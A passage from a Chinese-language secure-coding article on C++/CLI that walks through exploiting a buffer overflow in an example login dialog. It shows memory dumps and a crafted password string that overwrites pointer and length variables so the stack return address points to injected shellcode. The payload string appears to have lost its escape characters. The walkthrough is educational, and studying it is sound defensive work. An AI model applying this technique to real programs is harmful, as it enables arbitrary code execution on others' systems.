缓冲区溢出还是问题吗?C++/CLI安全编码

http://tech.ddvip.com   2007年04月09日    社区交流

本文详细介绍缓冲区溢出还是问题吗?C++/CLI安全编码

  假定userP与userNameLen两者都被覆盖,当userNameLen被赋给存储在userP+4(user结构内len的偏移地址)的地址时,在124行就会导致对内存的任意写入。通过把一个地址覆盖为控制权最终要传递到的地址,攻击者就能利用内存的任意写入,把控制权传给任意的代码。而在本例中,堆栈上的返回地址被覆盖了。

  因为lpszGuestPassword变量是一个声明在GetPassword函数中的自动变量,我们也可以查看这个变量地址起始处的内存。假定lpszGuestPassword定位在0x002DEB9C,那么可在这个位置查看堆栈的内容。经由程序调试,可以确定0x004f3a99的返回码位于堆栈上的0x002DEBD0处(见插4)。

  代码段4:

002DEB9C 4e 00 43 00 43 00 2d 00 31 00 37 00 30 00 31 00
002DEBAC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
002DEBBC 1e df b4 bd 00 00 00 00 50 15 40 00 64 ec 2d 00
002DEBCC ec eb 2d 00 99 3a 4f 00 05 27 00 01 00 00 00
002DEBDC b0 32 2f 00 84 ec 2d 00 da c4 fc 79 58 f1 2d 00

  假定shellcode已被注入到程序中的0x00409028,那么接下来,攻击者可在Login对话框的密码输入栏中输入以下字符串:

"1234567812345678xebccx002dx9028x0040"

  在缓冲区溢出之后,数据段的内存显示见插5:

  代码段5:

0040911C 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00
0040912C 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00
0040913C cc eb 2d 00 28 90 40 00 00 00 ff ff 8a 00 07 00
0040914C c6 00 07 02 02 01 07 02 00 00 00 00 01 00 00 00

  棕色的字节表示userP的值在何处被堆栈上的返回代码地址所覆盖(负4),绿色的字节表示userNameLen的值在何处被shellcode的地址所覆盖。当124行的内存任意写入执行之后,堆栈现在如插6所示。

来源:天极开发    作者:谢启东    责编:豆豆技术应用

正在加载评论...